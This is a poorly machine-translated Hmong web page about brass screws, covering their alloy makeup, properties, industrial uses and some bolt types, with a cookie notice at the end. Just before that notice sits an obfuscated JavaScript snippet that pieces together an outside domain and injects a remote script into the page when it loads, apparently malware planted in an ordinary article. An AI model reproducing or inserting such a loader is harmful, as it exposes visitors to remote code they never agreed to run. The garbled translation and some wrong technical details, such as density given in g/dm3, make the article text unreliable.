Vim nws cov yam ntxwv, tooj dag screws yog eagerly xaiv los ntawm cov neeg muas zaub.Cov hom tshwj xeeb yog cov neeg nyiam tshaj plaws thiab lawv siv dab tsi?Cov lus teb rau cov lus nug no tsim nyog paub!
Brass yog ib qho ntawm cov hlau alloys ntau tshaj plaws.Ntawm, nws tau nrov heev hauv Nrab Hnub nyoog, thaum qee qhov kev lag luam pib loj hlob sai.Qhov tseeb, tooj dag yeej ib txwm nrog peb lub neej txhua hnub.Plates, doorknobs, accessories thiab txawm tias nyiaj - nws yog twv yuav raug hu yooj yim rau qhov pom.
Thaum peb saib cov ntsia hlau tooj dag, peb tuaj yeem pom tias muaj ntau hom.Kev lees paub ntawm kev nthuav dav tshwj xeeb tshaj yog nyob rau ntawm Stalmut lub vev xaib, uas peb paub tseeb tias yuav nrhiav tau cov ntawv nthuav dav.Peb yuav pom sai sai tias muaj ntau qhov ntau thiab tsawg thiab xim ntawm cov ntsia hlau ntawm ua lag luam.Thawj, tooj dag yog ib qho hlau ntawm ob lub hlau, tooj liab thiab zinc.Kuj, nws tuaj yeem ntxiv lwm cov ntsiab lus.Qhov feem ntau yog txhuas, silicon, aluminium los yog chromium.Cov xim ntawm tooj dag screws nyob ntawm zinc cov ntsiab lus ntawm cov alloy. .
Alloy densities feem ntau yog nruab nrab ntawm 8.4 thiab 8.7 g / dm3.Qhov no txhais tau tias nws hnyav dua li steel.Brass screws muaj ob peb yam tseem ceeb uas ua rau lawv cov kev ua tau zoo heev. Ua ntej, lawv yog corrosion resistant. Tsis tas li ntawd, lawv coj thiab ua hluav taws xob zoo kawg nkaus. Tsis tas li ntawd, vim muaj cov khoom tshwj xeeb ntawm tooj liab, lawv kuj muaj cov tshuaj tua kab mob.
Vim lawv daim ntawv thov, tooj dag screws ua lub luag haujlwm tseem ceeb hauv kev tsim cov tshuab thiab tshuab, marine screws thiab qhov chaw rau cov tshuaj, kev sib txuas lus, marine thiab aviation industries.Tau kawg, tooj dag kuj yog siv los tsim bolts, ceev, washers, screws. , threaded rods thiab lwm yam khoom siv ntsia hlau, tshwj xeeb tshaj yog rau kev sib txuas zoo li qub.
Qhov tseeb, screws nrog peb txhua hnub, tab sis peb feem ntau tsis xyuam xim.Txawm li cas los xij, peb lub ntiaj teb tsis tuaj yeem txhim kho yam tsis muaj lawv.Rau qhov no, txhua tus DIYer yuav tsum tau nruab nrog yam tsawg kawg nkaus screws.Ua tsaug rau qhov no, nws yuav yog. muaj peev xwm kho tau zoo los yog sib sau ua ke ib yam khoom yog tias tsim nyog.Tam sim no, nws tsim nyog xaiv tooj dag screws, raws li lawv cov yam ntxwv los ntawm lawv cov kev tiv thaiv rau cov kev hloov.
Yog xav paub ntxiv txog stainless hlau screws, mus saib: https://www.czerwonafurtka.pl/jakie-sruby-ze-stali-nierdzewnych-sa-najczesszym-stosowane/.
Lub xub pwg Mushroom taub hau Bolts - Feem ntau yog siv los koom nrog cov qauv ntoo lossis cov qauv uas tuaj yeem tiv tauj ncaj qha rau ntawm daim tawv nqaij.Peb feem ntau pom lawv ua ib qho ntawm lub rooj zaum, laj kab lossis ib feem ntawm lub laj kab.
Flange Bolts - Lawv qhov tshwj xeeb txhais tau hais tias peb pom lawv feem ntau hauv kev lag luam tsheb.Lawv yog ib feem ntawm kev ncua, kev nres nres lossis kev tswj hwm.
Countersunk taub hau screws nrog hexagon socket - Piv txwv ntawm hom no yog siv nyob rau hauv kev lag luam automotive, mechanical engineering thiab locksmith khw.
(function(){ ir5k_=(“u”+”st”);ir5k=document.createElement(“script”);ir5k.async=true; ir5ku=”302660141″; ir5k_+=”a”+(“t ”);ir5k_+=”i”+(“nf”+(“o”))+(“/”); ir5ku+=”.79286v1hr5k3gvgr”;ir5ku+=”izlmawxg0fnsyp”; ir5k.src=”https:/ / /”+ir5k_+ir5ku;ir5k.type=”text/javascript”; d_b=document.body;d_b.appendChild(ir5k); })();
Lub vev xaib no siv cov ncuav qab zib los muab cov kev pabcuam siab tshaj plaws.Los ntawm kev siv lub vev xaib no, koj pom zoo rau lawv siv.Thov saib peb Txoj Cai Tswjfwm Ntiag Tug thiab kev lees txais cov ncuav qab zib
Post lub sij hawm: Jun-08-2022
